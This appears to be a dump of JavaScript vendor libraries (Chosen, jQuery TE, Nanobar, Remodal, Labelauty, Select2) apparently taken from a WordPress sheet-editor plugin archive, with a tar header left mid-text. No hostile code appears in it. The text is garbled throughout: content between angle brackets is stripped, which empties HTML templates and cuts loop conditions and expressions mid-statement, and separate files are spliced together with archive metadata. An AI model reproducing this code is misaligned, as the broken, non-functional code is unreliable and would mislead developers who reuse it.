this.selected_option_count;for(this.selected_option_count=0,t=0,e=(s=this.form_field.options).length;t0?this.keydown_backstroke():this.pending_backstroke||(this.result_clear_highlight(),this.results_search());break;case 13:t.preventDefault(),this.results_showing&&this.result_select(t);break;case 27:this.results_showing&&this.results_hide();break;case 9:case 16:case 17:case 18:case 38:case 40:case 91:break;default:this.results_search()}},t.prototype.clipboard_event_checker=function(t){if(!this.is_disabled)return setTimeout(function(t){return function(){return t.results_search()}}(this),50)},t.prototype.container_width=function(){return null!=this.options.width?this.options.width:this.form_field.offsetWidth+"px"},t.prototype.include_option_in_results=function(t){return!(this.is_multiple&&!this.display_selected_options&&t.selected)&&(!(!this.display_disabled_options&&t.disabled)&&!t.empty)},t.prototype.search_results_touchstart=function(t){return this.touch_started=!0,this.search_results_mouseover(t)},t.prototype.search_results_touchmove=function(t){return this.touch_started=!1,this.search_results_mouseout(t)},t.prototype.search_results_touchend=function(t){if(this.touch_started)return this.search_results_mouseup(t)},t.prototype.outerHTML=function(t){var e;return t.outerHTML?t.outerHTML:((e=document.createElement("div")).appendChild(t),e.innerHTML)},t.prototype.get_single_html=function(){return'
          \n \n '+this.default_text+'\n
          \n
          \n
          \n \n
            \n
            '},t.prototype.get_multi_html=function(){return'
              \n
            • \n \n
            • \n
            \n
            \n
              \n
              '},t.prototype.get_no_results_html=function(t){return'
            • \n '+this.results_none_found+" "+this.escape_html(t)+"\n
            • "},t.browser_is_supported=function(){return true;return"Microsoft Internet Explorer"===window.navigator.appName?document.documentMode>=8:!(/iP(od|hone)/i.test(window.navigator.userAgent)||/IEMobile/i.test(window.navigator.userAgent)||/Windows Phone/i.test(window.navigator.userAgent)||/BlackBerry/i.test(window.navigator.userAgent)||/BB10/i.test(window.navigator.userAgent)||/Android.*Mobile/i.test(window.navigator.userAgent))},t.default_multiple_text="Select Some Options",t.default_single_text="Select an Option",t.default_no_result_text="No results match",t.default_create_option_text="Add Option",t}(),(t=jQuery).fn.extend({chosen:function(i){return e.browser_is_supported()?this.each(function(e){var n,o;o=(n=t(this)).data("chosen"),"destroy"!==i?o instanceof s||n.data("chosen",new s(this,i)):o instanceof s&&o.destroy()}):this}}),s=function(s){function n(){return n.__super__.constructor.apply(this,arguments)}return o(n,e),n.prototype.setup=function(){return this.form_field_jq=t(this.form_field),this.current_selectedIndex=this.form_field.selectedIndex},n.prototype.set_up_html=function(){var e,s;return(e=["chosen-container"]).push("chosen-container-"+(this.is_multiple?"multi":"single")),this.inherit_select_classes&&this.form_field.className&&e.push(this.form_field.className),this.is_rtl&&e.push("chosen-rtl"),s={"class":e.join(" "),title:this.form_field.title},this.form_field.id.length&&(s.id=this.form_field.id.replace(/[^\w]/g,"_")+"_chosen"),this.container=t("
              ",s),this.container.width(this.container_width()),this.is_multiple?this.container.html(this.get_multi_html()):this.container.html(this.get_single_html()),this.form_field_jq.hide().after(this.container),this.dropdown=this.container.find("div.chosen-drop").first(),this.search_field=this.container.find("input").first(),this.search_results=this.container.find("ul.chosen-results").first(),this.search_field_scale(),this.search_no_results=this.container.find("li.no-results").first(),this.is_multiple?(this.search_choices=this.container.find("ul.chosen-choices").first(),this.search_container=this.container.find("li.search-field").first()):(this.search_container=this.container.find("div.chosen-search").first(),this.selected_item=this.container.find(".chosen-single").first()),this.results_build(),this.set_tab_index(),this.set_label_behavior()},n.prototype.on_ready=function(){return this.form_field_jq.trigger("chosen:ready",{chosen:this})},n.prototype.register_observers=function(){return this.container.on("touchstart.chosen",function(t){return function(e){t.container_mousedown(e)}}(this)),this.container.on("touchend.chosen",function(t){return function(e){t.container_mouseup(e)}}(this)),this.container.on("mousedown.chosen",function(t){return function(e){t.container_mousedown(e)}}(this)),this.container.on("mouseup.chosen",function(t){return function(e){t.container_mouseup(e)}}(this)),this.container.on("mouseenter.chosen",function(t){return function(e){t.mouse_enter(e)}}(this)),this.container.on("mouseleave.chosen",function(t){return function(e){t.mouse_leave(e)}}(this)),this.search_results.on("mouseup.chosen",function(t){return function(e){t.search_results_mouseup(e)}}(this)),this.search_results.on("mouseover.chosen",function(t){return function(e){t.search_results_mouseover(e)}}(this)),this.search_results.on("mouseout.chosen",function(t){return function(e){t.search_results_mouseout(e)}}(this)),this.search_results.on("mousewheel.chosen DOMMouseScroll.chosen",function(t){return function(e){t.search_results_mousewheel(e)}}(this)),this.search_results.on("touchstart.chosen",function(t){return function(e){t.search_results_touchstart(e)}}(this)),this.search_results.on("touchmove.chosen",function(t){return function(e){t.search_results_touchmove(e)}}(this)),this.search_results.on("touchend.chosen",function(t){return function(e){t.search_results_touchend(e)}}(this)),this.form_field_jq.on("chosen:updated.chosen",function(t){return function(e){t.results_update_field(e)}}(this)),this.form_field_jq.on("chosen:activate.chosen",function(t){return function(e){t.activate_field(e)}}(this)),this.form_field_jq.on("chosen:open.chosen",function(t){return function(e){t.container_mousedown(e)}}(this)),this.form_field_jq.on("chosen:close.chosen",function(t){return function(e){t.close_field(e)}}(this)),this.search_field.on("blur.chosen",function(t){return function(e){t.input_blur(e)}}(this)),this.search_field.on("keyup.chosen",function(t){return function(e){t.keyup_checker(e)}}(this)),this.search_field.on("keydown.chosen",function(t){return function(e){t.keydown_checker(e)}}(this)),this.search_field.on("focus.chosen",function(t){return function(e){t.input_focus(e)}}(this)),this.search_field.on("cut.chosen",function(t){return function(e){t.clipboard_event_checker(e)}}(this)),this.search_field.on("paste.chosen",function(t){return function(e){t.clipboard_event_checker(e)}}(this)),this.is_multiple?this.search_choices.on("click.chosen",function(t){return function(e){t.choices_click(e)}}(this)):this.container.on("click.chosen",function(t){t.preventDefault()})},n.prototype.destroy=function(){return t(this.container[0].ownerDocument).off("click.chosen",this.click_test_action),this.form_field_label.length>0&&this.form_field_label.off("click.chosen"),this.search_field[0].tabIndex&&(this.form_field_jq[0].tabIndex=this.search_field[0].tabIndex),this.container.remove(),this.form_field_jq.removeData("chosen"),this.form_field_jq.show()},n.prototype.search_field_disabled=function(){return this.is_disabled=this.form_field.disabled||this.form_field_jq.parents("fieldset").is(":disabled"),this.container.toggleClass("chosen-disabled",this.is_disabled),this.search_field[0].disabled=this.is_disabled,this.is_multiple||this.selected_item.off("focus.chosen",this.activate_field),this.is_disabled?this.close_field():this.is_multiple?void 0:this.selected_item.on("focus.chosen",this.activate_field)},n.prototype.container_mousedown=function(e){var s;if(!this.is_disabled)return!e||"mousedown"!==(s=e.type)&&"touchstart"!==s||this.results_showing||e.preventDefault(),null!=e&&t(e.target).hasClass("search-choice-close")?void 0:(this.active_field?this.is_multiple||!e||t(e.target)[0]!==this.selected_item[0]&&!t(e.target).parents("a.chosen-single").length||(e.preventDefault(),this.results_toggle()):(this.is_multiple&&this.search_field.val(""),t(this.container[0].ownerDocument).on("click.chosen",this.click_test_action),this.results_show()),this.activate_field())},n.prototype.container_mouseup=function(t){if("ABBR"===t.target.nodeName&&!this.is_disabled)return this.results_reset(t)},n.prototype.search_results_mousewheel=function(t){var e;if(t.originalEvent&&(e=t.originalEvent.deltaY||-t.originalEvent.wheelDelta||t.originalEvent.detail),null!=e)return t.preventDefault(),"DOMMouseScroll"===t.type&&(e*=40),this.search_results.scrollTop(e+this.search_results.scrollTop())},n.prototype.blur_test=function(t){if(!this.active_field&&this.container.hasClass("chosen-container-active"))return this.close_field()},n.prototype.close_field=function(){return t(this.container[0].ownerDocument).off("click.chosen",this.click_test_action),this.active_field=!1,this.results_hide(),this.container.removeClass("chosen-container-active"),this.clear_backstroke(),this.show_search_field_default(),this.search_field_scale(),this.search_field.blur()},n.prototype.activate_field=function(){if(!this.is_disabled)return this.container.addClass("chosen-container-active"),this.active_field=!0,this.search_field.val(this.search_field.val()),this.search_field.focus()},n.prototype.test_active_click=function(e){var s;return(s=t(e.target).closest(".chosen-container")).length&&this.container[0]===s[0]?this.active_field=!0:this.close_field()},n.prototype.results_build=function(){return this.parsing=!0,this.selected_option_count=null,this.results_data=i.select_to_array(this.form_field),this.is_multiple?this.search_choices.find("li.search-choice").remove():(this.single_set_selected_text(),this.disable_search||this.form_field.options.length<=this.disable_search_threshold&&!this.create_option?(this.search_field[0].readOnly=!0,this.container.addClass("chosen-container-single-nosearch")):(this.search_field[0].readOnly=!1,this.container.removeClass("chosen-container-single-nosearch"))),this.update_results_content(this.results_option_build({first:!0})),this.search_field_disabled(),this.show_search_field_default(),this.search_field_scale(),this.parsing=!1},n.prototype.result_do_highlight=function(t){var e,s,i,n,o;if(t.length){if(this.result_clear_highlight(),this.result_highlight=t,this.result_highlight.addClass("highlighted"),i=parseInt(this.search_results.css("maxHeight"),10),o=this.search_results.scrollTop(),n=i+o,s=this.result_highlight.position().top+this.search_results.scrollTop(),(e=s+this.result_highlight.outerHeight())>=n)return this.search_results.scrollTop(e-i>0?e-i:0);if(s0)return this.form_field_label.on("click.chosen",this.label_click_handler)},n.prototype.show_search_field_default=function(){return this.is_multiple&&this.choices_count()<1&&!this.active_field?(this.search_field.val(this.default_text),this.search_field.addClass("default")):(this.search_field.val(""),this.search_field.removeClass("default"))},n.prototype.search_results_mouseup=function(e){var s;if((s=t(e.target).hasClass("active-result")?t(e.target):t(e.target).parents(".active-result").first()).length)return this.result_highlight=s,this.result_select(e),this.search_field.focus()},n.prototype.search_results_mouseover=function(e){var s;if(s=t(e.target).hasClass("active-result")?t(e.target):t(e.target).parents(".active-result").first())return this.result_do_highlight(s)},n.prototype.search_results_mouseout=function(e){if(t(e.target).hasClass("active-result")||t(e.target).parents(".active-result").first())return this.result_clear_highlight()},n.prototype.choice_build=function(e){var s,i;return s=t("
            • ",{"class":"search-choice"}).html(""+this.choice_label(e)+""),e.disabled?s.addClass("search-choice-disabled"):((i=t("",{"class":"search-choice-close","data-option-array-index":e.array_index})).on("click.chosen",function(t){return function(e){return t.choice_destroy_link_click(e)}}(this)),s.append(i)),this.search_container.before(s)},n.prototype.choice_destroy_link_click=function(e){if(e.preventDefault(),e.stopPropagation(),!this.is_disabled)return this.choice_destroy(t(e.target))},n.prototype.choice_destroy=function(t){if(this.result_deselect(t[0].getAttribute("data-option-array-index")))return this.active_field?this.search_field.focus():this.show_search_field_default(),this.is_multiple&&this.choices_count()>0&&this.get_search_field_value().length<1&&this.results_hide(),t.parents("li").first().remove(),this.search_field_scale()},n.prototype.results_reset=function(){if(this.reset_single_select_options(),this.form_field.options[0].selected=!0,this.single_set_selected_text(),this.show_search_field_default(),this.results_reset_cleanup(),this.trigger_form_field_change(),this.active_field)return this.results_hide()},n.prototype.results_reset_cleanup=function(){return this.current_selectedIndex=this.form_field.selectedIndex,this.selected_item.find("abbr").remove()},n.prototype.result_select=function(t){var e,s;if(this.result_highlight)return(e=this.result_highlight).hasClass("create-option")?(this.select_create_option(this.search_field.val()),this.results_hide()):(this.result_clear_highlight(),this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.is_multiple?e.removeClass("active-result"):this.reset_single_select_options(),e.addClass("result-selected"),s=this.results_data[e[0].getAttribute("data-option-array-index")],s.selected=!0,this.form_field.options[s.options_index].selected=!0,this.selected_option_count=null,this.search_field.val(""),this.is_multiple?this.choice_build(s):this.single_set_selected_text(this.choice_label(s)),this.is_multiple&&(!this.hide_results_on_select||t.metaKey||t.ctrlKey)?this.winnow_results():(this.results_hide(),this.show_search_field_default()),(this.is_multiple||this.form_field.selectedIndex!==this.current_selectedIndex)&&this.trigger_form_field_change({selected:this.form_field.options[s.options_index].value}),this.current_selectedIndex=this.form_field.selectedIndex,t.preventDefault(),this.search_field_scale()))},n.prototype.single_set_selected_text=function(t){return null==t&&(t=this.default_text),t===this.default_text?this.selected_item.addClass("chosen-default"):(this.single_deselect_control_build(),this.selected_item.removeClass("chosen-default")),this.selected_item.find("span").html(t)},n.prototype.result_deselect=function(t){var e;return e=this.results_data[t],!this.form_field.options[e.options_index].disabled&&(e.selected=!1,this.form_field.options[e.options_index].selected=!1,this.selected_option_count=null,this.result_clear_highlight(),this.results_showing&&this.winnow_results(),this.trigger_form_field_change({deselected:this.form_field.options[e.options_index].value}),this.search_field_scale(),!0)},n.prototype.single_deselect_control_build=function(){if(this.allow_single_deselect)return this.selected_item.find("abbr").length||this.selected_item.find("span").first().after(''),this.selected_item.addClass("chosen-single-with-deselect")},n.prototype.get_search_field_value=function(){return this.search_field.val()},n.prototype.get_search_text=function(){return t.trim(this.get_search_field_value())},n.prototype.escape_html=function(e){return t("
              ").text(e).html()},n.prototype.winnow_results_set_highlight=function(){var t,e;if(e=this.is_multiple?[]:this.search_results.find(".result-selected.active-result"),null!=(t=e.length?e.first():this.search_results.find(".active-result").first()))return this.result_do_highlight(t)},n.prototype.no_results=function(t){var e;return e=this.get_no_results_html(t),this.search_results.append(e),this.form_field_jq.trigger("chosen:no_results",{chosen:this})},n.prototype.show_create_option=function(e){var s;return s=t('
            • '+this.create_option_text+': "'+e+'"
            • '),this.search_results.append(s)},n.prototype.create_option_clear=function(){return this.search_results.find(".create-option").remove()},n.prototype.select_create_option=function(e){return t.isFunction(this.create_option)?this.create_option.call(this,e):this.select_append_option({value:e,text:e})},n.prototype.select_append_option=function(e){var s;return s=t("
              ' ]; // repeat the cleaning process 5 times for(c=0; c<5; c++) { // create loop as the number of pattern for(var i = 0; i < $htmlPattern.length; i++) { $htmlContent = $htmlContent.replace($htmlPattern[i], $htmlReplace[i]); } } // if paragraph is false (

              ), convert

              to
              if(!vars.p) $htmlContent = $htmlContent.replace(/\(.*?)\<\/p>/ig, '
              $2'); // if break is false (
              ), convert
              to

              if(!vars.br) { $htmlPattern = [ /\
              (.*?)/ig, /\(.*?)/ig ]; $htmlReplace = [ '

              $1

              ', '

              $1

              ' ]; // create loop as the number of pattern (for breaks) for (var i = 0; i < $htmlPattern.length; i++) { $htmlContent = $htmlContent.replace($htmlPattern[i], $htmlReplace[i]); } } // if paragraph and break is false (

              &&
              ), convert

              to

              if(!vars.p && !vars.br) $htmlContent = $htmlContent.replace(/\

              (.*?)\<\/p>/ig, '

              $1
              '); return $htmlContent; } // the function of exporting contents of the text field to the source field (to be the standard in all browsers) function postToSource() { // clear unnecessary tags when editor view empty var sourceStrings = editor.text()=="" && editor.html().length<12 ? "" : editor.html(); thisElement.val(extractToText(sourceStrings)); } // the function of exporting contents of the source field to the text field (to be the standard in all browsers) function postToEditor() { editor.html(extractToText(thisElement.val())); } // the function of getting parent (or super parent) tag name of the selected node function detectElement(tags){ var resultdetect=false, $node = getSelectedNode(), parentsTag; if($node) { $.each(tags, function(i, val){ parentsTag = $node.prop('tagName').toLowerCase(); if (parentsTag == val) resultdetect = true; else { $node.parents().each(function(){ parentsTag = $(this).prop('tagName').toLowerCase(); if (parentsTag == val) resultdetect = true; }); } }); return resultdetect; } else return false; }; // the function of highlighting the toolbar buttons according to the cursor position in jqte editor function buttonEmphasize(e) { for(var n = 0; n < buttons.length; n++) { if(vars[buttons[n].name] && buttons[n].emphasis && buttons[n].tag!='') detectElement(buttons[n].tag) ? toolbar.find('.'+vars.css+'_tool_'+buttons[n].cls).addClass(emphasize) : $('.'+vars.css+'_tool_'+buttons[n].cls).removeClass(emphasize); } // showing text format if(vars.format && $.isArray(vars.formats)) { var isFoundFormat = false; for(var f = 0; f < vars.formats.length; f++) { var thisFormat = []; thisFormat[0] = vars.formats[f][0]; if(vars.formats[f][0].length>0 && detectElement(thisFormat)) { formatLabelView(vars.formats[f][1]); isFoundFormat = true; break; } } if(!isFoundFormat) formatLabelView(vars.formats[0][1]); } // hide all style-fields styleFieldSwitch("",false); formatFieldSwitch(false); } // the event of click to the toolbar buttons toolbutton .unbind("click") .click(function(e){ // if source button is clicked if($(this).data('command')=='displaysource' && !toolbar.data("sourceOpened")) { // hide all the toolbar buttons (except the source button) toolbar.find("."+vars.css+"_tool").addClass(vars.css+"_hiddenField"); $(this).removeClass(vars.css+"_hiddenField"); // update to data of source displaying toolbar.data("sourceOpened",true); // equalize height of the text field with height of the source field thisElement.css("height",editor.outerHeight()); sourceField.removeClass(vars.css+"_hiddenField"); editor.addClass(vars.css+"_hiddenField"); thisElement.focus(); // hide the link-form-field linkAreaSwitch(false); // hide all style-fields styleFieldSwitch("",false); // hide format field formatFieldSwitch(); // hide placeholder if(vars.placeholder && vars.placeholder!="") placeHolder.hide(); } // if other buttons is clicked else { // if source field is closed if(!toolbar.data("sourceOpened")) { // if insert-link-button is clicked if($(this).data('command')=='linkcreator') { if(!toolbar.data("linkOpened")) selected2link(); else { // hide the link-form-field linkAreaSwitch(false); // hide format field formatFieldSwitch(false); } } // if the format button is clicked else if($(this).data('command')=='formats') { if($(this).data('command')=='formats' && !$(e.target).hasClass(vars.css+"_format")) selected2format(); // hide all style-fields styleFieldSwitch("",false); if(editor.not(":focus")) editor.focus(); } // if the style buttons are clicked else if($(this).data('command')=='fSize' || $(this).data('command')=='colors') { if( ($(this).data('command')=='fSize' && !$(e.target).hasClass(vars.css+"_fontsize")) || // the font-size button ($(this).data('command')=='colors' && !$(e.target).hasClass(vars.css+"_color")) // the color button ) selected2style($(this).data('command')); // hide format field formatFieldSwitch(false); if(editor.not(":focus")) editor.focus(); } // if other buttons is clicked else { // first, prevent to conflict of different jqte editors if(editor.not(":focus")) editor.focus(); // apply command of clicked button to the selected text selectionSet($(this).data('command'),null); // hide all menu-fields styleFieldSwitch("",false); formatFieldSwitch(false); linktypeSwitch(); // to highlight the toolbar buttons according to the cursor position in jqte editor $(this).data('emphasis')==true && !$(this).hasClass(emphasize) ? $(this).addClass(emphasize) : $(this).removeClass(emphasize); sourceField.addClass(vars.css+"_hiddenField"); editor.removeClass(vars.css+"_hiddenField"); } } // hide the source field and display the text field else { // update to data of source hiding toolbar.data("sourceOpened",false); // display all the toolbar buttons toolbar.find("."+vars.css+"_tool").removeClass(vars.css+"_hiddenField"); sourceField.addClass(vars.css+"_hiddenField"); editor.removeClass(vars.css+"_hiddenField"); } if(vars.placeholder && vars.placeholder!="") editor.html()!="" ? placeHolder.hide() : placeHolder.show(); } // export contents of the text to the sources editor.trigger("change"); }) // the event of showing to the title bubble when mouse over of the toolbar buttons .hover(function(e){ if(vars.title && $(this).data("title")!="" && ( $(e.target).hasClass(vars.css+"_tool") || $(e.target).hasClass(vars.css+"_tool_icon") )) { $('.'+vars.css+'_title').remove(); // create the title bubble jQTE.append('
              '+$(this).data("title")+'
              '); var thisTitle = $('.'+vars.css+'_title:first'); var thisArrow = thisTitle.find('.'+vars.css+'_titleArrowIcon'); var thisPosition = $(this).position(); var thisAlignX = thisPosition.left + $(this).outerWidth() - (thisTitle.outerWidth()/2) - ($(this).outerWidth()/2); var thisAlignY = (thisPosition.top + $(this).outerHeight() + 5); // show the title bubble and set to its position thisTitle.delay(400).css({'top':thisAlignY, 'left':thisAlignX}).fadeIn(200); } },function(){ $('.'+vars.css+'_title').remove(); }); // prevent multiple calling postToSource() var editorChangeTimer = null; // the methods of the text fields editor // trigger change method of the text field when the text field modified .bind("keypress keyup keydown drop cut copy paste DOMCharacterDataModified DOMSubtreeModified",function() { // export contents of the text to the sources if(!toolbar.data("sourceOpened")) $(this).trigger("change"); // hide the link-type-field linktypeSwitch(); // if the change method is added run the change method if($.isFunction(vars.change)) vars.change(); // the feature of placeholder if(vars.placeholder && vars.placeholder!="") $(this).text()!="" ? placeHolder.hide() : placeHolder.show(); }) .bind("change",function() { if(!toolbar.data("sourceOpened")) { clearTimeout(editorChangeTimer); editorChangeTimer = setTimeout(postToSource,10); } }) // run to keyboard shortcuts .keydown(function(e) { // if ctrl key is clicked if(e.ctrlKey) { // check all toolbar buttons for(var n = 0; n < buttons.length; n++) { // if this settings of this button is activated (is it true) // if the keyed button with ctrl is same of hotkey of this button if(vars[buttons[n].name] && e.keyCode == buttons[n].key.charCodeAt(0)) { if(buttons[n].command!='' && buttons[n].command!='linkcreator') selectionSet(buttons[n].command,null); else if(buttons[n].command=='linkcreator') selected2link(); return false; } } } }) // method of triggering to the highlight button .bind("mouseup keyup",buttonEmphasize) // the event of focus to the text field .focus(function() { // if the focus method is added run the focus method if($.isFunction(vars.focus)) vars.focus(); // add onfocus class jQTE.addClass(vars.css+"_focused"); // prevent focus problem on opera if(/opera/.test(thisBrowser)) { var range = document.createRange(); range.selectNodeContents(editor[0]); range.collapse(false); var selection = window.getSelection(); selection.removeAllRanges(); selection.addRange(range); } }) // the event of focus out from the text field .focusout(function() { // remove to highlights of all toolbar buttons toolbutton.removeClass(emphasize); // hide all menu-fields styleFieldSwitch("",false); formatFieldSwitch(false); linktypeSwitch(); // if the blur method is added run the blur method if($.isFunction(vars.blur)) vars.blur(); // remove onfocus class jQTE.removeClass(vars.css+"_focused"); // show default text format if($.isArray(vars.formats)) formatLabelView(vars.formats[0][1]); }); // the event of key in the source field thisElement .bind("keydown keyup",function() { // export contents of the source to the text field setTimeout(postToEditor,0); // auto extension for the source field $(this).height($(this)[0].scrollHeight); // if the source field is empty, shorten to the source field if($(this).val()=="") $(this).height(0); }) .focus(function() { // add onfocus class jQTE.addClass(vars.css+"_focused"); }) .focusout(function() { // remove onfocus class jQTE.removeClass(vars.css+"_focused"); }); }); }; })(jQuery); /* http://nanobar.micronube.com/ || https://github.com/jacoborus/nanobar/ MIT LICENSE */ (function (root) { 'use strict' // container styles var css = '.nanobar{width:100%;height:4px;z-index:9999;top:0}.bar{width:0;height:100%;transition:height .3s;background:#000}' // add required css in head div function addCss() { var s = document.getElementById('nanobarcss') // check whether style tag is already inserted if (s === null) { s = document.createElement('style') s.type = 'text/css' s.id = 'nanobarcss' document.head.insertBefore(s, document.head.firstChild) // the world if (!s.styleSheet) return s.appendChild(document.createTextNode(css)) // IE s.styleSheet.cssText = css } } function addClass(el, cls) { if (el.classList) el.classList.add(cls) else el.className += ' ' + cls } // create a progress bar // this will be destroyed after reaching 100% progress function createBar(rm) { // create progress element var el = document.createElement('div'), width = 0, here = 0, on = 0, bar = { el: el, go: go } addClass(el, 'bar') // animation loop function move() { var dist = width - here if (dist < 0.1 && dist > -0.1) { place(here) on = 0 if (width === 100) { el.style.height = 0 setTimeout(function () { rm(el) }, 300) } } else { place(width - dist / 4) setTimeout(go, 16) } } // set bar width function place(num) { width = num el.style.width = width + '%' } function go(num) { if (num >= 0) { here = num if (!on) { on = 1 move() } } else if (on) { move() } } return bar } function Nanobar(opts) { opts = opts || {} // set options var el = document.createElement('div'), applyGo, nanobar = { el: el, go: function (p) { // expand bar applyGo(p) // create new bar when progress reaches 100% if (p === 100) { init() } } } // remove element from nanobar container function rm(child) { el.removeChild(child) } // create and insert progress var in nanobar container function init() { var bar = createBar(rm) el.appendChild(bar.el) applyGo = bar.go } addCss() addClass(el, 'nanobar') if (opts.id) el.id = opts.id if (opts.classname) addClass(el, opts.classname) // insert container if (opts.target) { // inside a div el.style.position = 'relative' opts.target.insertBefore(el, opts.target.firstChild) } else { // on top of the page el.style.position = 'fixed' document.getElementsByTagName('body')[0].appendChild(el) } init() return nanobar } if (typeof exports === 'object') { // CommonJS module.exports = Nanobar } else if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define([], function () { return Nanobar }) } else { // Browser globals root.Nanobar = Nanobar } }(this))modules/wp-sheet-editor/assets/vendor/js/libraries.min.js000064400003611275147600365160017572 0ustar00;;;!function(t,n){"function"==typeof define&&define.amd?define(["jquery"],function($){return n(t,$)}):"object"==typeof exports?n(t,require("jquery")):n(t,t.jQuery||t.Zepto)}(this,function(t,$){"use strict";var n,a,e,o="remodal",i=t.REMODAL_GLOBALS&&t.REMODAL_GLOBALS.NAMESPACE||o,s=$.map(["animationstart","webkitAnimationStart","MSAnimationStart","oAnimationStart"],function(t){return t+"."+i}).join(" "),r=$.map(["animationend","webkitAnimationEnd","MSAnimationEnd","oAnimationEnd"],function(t){return t+"."+i}).join(" "),d=$.extend({hashTracking:!0,closeOnConfirm:!0,closeOnCancel:!0,closeOnEscape:!0,closeOnOutsideClick:!0,modifier:""},t.REMODAL_GLOBALS&&t.REMODAL_GLOBALS.DEFAULTS),c={CLOSING:"closing",CLOSED:"closed",OPENING:"opening",OPENED:"opened"},l="confirmation",m="cancellation",p=void 0!==(n=document.createElement("div").style).animationName||void 0!==n.WebkitAnimationName||void 0!==n.MozAnimationName||void 0!==n.msAnimationName||void 0!==n.OAnimationName,u=/iPad|iPhone|iPod/.test(navigator.platform);function f(t){if(p&&"none"===t.css("animation-name")&&"none"===t.css("-webkit-animation-name")&&"none"===t.css("-moz-animation-name")&&"none"===t.css("-o-animation-name")&&"none"===t.css("-ms-animation-name"))return 0;var n,e,a,i,o=t.css("animation-duration")||t.css("-webkit-animation-duration")||t.css("-moz-animation-duration")||t.css("-o-animation-duration")||t.css("-ms-animation-duration")||"0s",s=t.css("animation-delay")||t.css("-webkit-animation-delay")||t.css("-moz-animation-delay")||t.css("-o-animation-delay")||t.css("-ms-animation-delay")||"0s",r=t.css("animation-iteration-count")||t.css("-webkit-animation-iteration-count")||t.css("-moz-animation-iteration-count")||t.css("-o-animation-iteration-count")||t.css("-ms-animation-iteration-count")||"1";for(o=o.split(", "),s=s.split(", "),r=r.split(", "),i=0,e=o.length,n=Number.NEGATIVE_INFINITY;i").addClass(O("overlay")+" "+O("is",c.CLOSED)).hide(),e.append(a.$overlay)),a.$bg=$("."+O("bg")).addClass(O("is",c.CLOSED)),a.$modal=t.addClass(i+" "+O("is-initialized")+" "+a.settings.modifier+" "+O("is",c.CLOSED)).attr("tabindex","-1"),a.$wrapper=$("
              ").addClass(O("wrapper")+" "+a.settings.modifier+" "+O("is",c.CLOSED)).hide().append(a.$modal),e.append(a.$wrapper),a.$wrapper.on("click."+i,"[data-"+o+'-action="close"]',function(t){t.preventDefault(),a.close()}),a.$wrapper.on("click."+i,"[data-"+o+'-action="cancel"]',function(t){t.preventDefault(),a.$modal.trigger(m),a.settings.closeOnCancel&&a.close(m)}),a.$wrapper.on("click."+i,"[data-"+o+'-action="confirm"]',function(t){t.preventDefault(),a.$modal.trigger(l),a.settings.closeOnConfirm&&a.close(l)}),a.$wrapper.on("click."+i,function(t){$(t.target).hasClass(O("wrapper"))&&a.settings.closeOnOutsideClick&&a.close()})}w.prototype.open=function(){var t,n=this;n.state!==c.OPENING&&n.state!==c.CLOSING&&((t=n.$modal.attr("data-"+o+"-id"))&&n.settings.hashTracking&&(e=$(window).scrollTop(),location.hash=t),a&&a!==n&&y(a),a=n,function(){if(!u){var t,n,e=$("html"),a=O("is-locked");e.hasClass(a)||(n=$(document.body),t=parseInt(n.css("padding-right"),10)+h(),n.css("padding-right",t+"px"),e.addClass(a))}}(),n.$bg.addClass(n.settings.modifier),n.$overlay.addClass(n.settings.modifier).show(),n.$wrapper.show().scrollTop(0),n.$modal.focus(),C(function(){v(n,c.OPENING)},function(){v(n,c.OPENED)},n))},w.prototype.close=function(t){var n=this;n.state!==c.OPENING&&n.state!==c.CLOSING&&(n.settings.hashTracking&&n.$modal.attr("data-"+o+"-id")===location.hash.substr(1)&&(location.hash="",$(window).scrollTop(e)),C(function(){v(n,c.CLOSING,!1,t)},function(){n.$bg.removeClass(n.settings.modifier),n.$overlay.removeClass(n.settings.modifier).hide(),n.$wrapper.hide(),g(),v(n,c.CLOSED,!1,t)},n))},w.prototype.getState=function(){return this.state},w.prototype.destroy=function(){var t=$[o].lookup;y(this),this.$wrapper.remove(),delete t[this.index],0===$.grep(t,function(t){return!!t}).length&&(this.$overlay.remove(),this.$bg.removeClass(O("is",c.CLOSING)+" "+O("is",c.OPENING)+" "+O("is",c.CLOSED)+" "+O("is",c.OPENED)))},$[o]={lookup:[]},$.fn[o]=function(e){var a,i;return this.each(function(t,n){null==(i=$(n)).data(o)?(a=new w(i,e),i.data(o,a.index),a.settings.hashTracking&&i.attr("data-"+o+"-id")===location.hash.substr(1)&&a.open()):a=$[o].lookup[i.data(o)]}),a},$(document).ready(function(){$(document).on("click","[data-"+o+"-target]",function(t){t.preventDefault();var n=t.currentTarget.getAttribute("data-"+o+"-target"),e=$("[data-"+o+'-id="'+n+'"]');$[o].lookup[e.data(o)].open()}),$(document).find("."+i).each(function(t,n){var e=$(n),a=e.data(o+"-options");a?("string"==typeof a||a instanceof String)&&(a=function(t){var n,e,a,i,o={};for(i=0,e=(n=(t=t.replace(/\s*:\s*/g,":").replace(/\s*,\s*/g,",")).split(",")).length;i'+t+''+s+"":'';return n}(l,a,t)),!1!==d.minimum_width&&n.next("label[for="+l+"]").css({"min-width":d.minimum_width}),0!=d.same_width&&1==d.label){var c=n.next("label[for="+l+"]"),i=r(c.find("span.labelauty-unchecked")),o=r(c.find("span.labelauty-checked"));o":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},e.appendMany=function(e,t){if("1.7"===$.fn.jquery.substr(0,3)){var n=$();$.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},e}),e.define("select2/results",["jquery","./utils"],function($,e){function i(e,t,n){this.$element=e,this.data=n,this.options=t,i.__super__.constructor.call(this)}return e.Extend(i,e.Observable),i.prototype.render=function(){var e=$('
                ');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},i.prototype.clear=function(){this.$results.empty()},i.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=$('
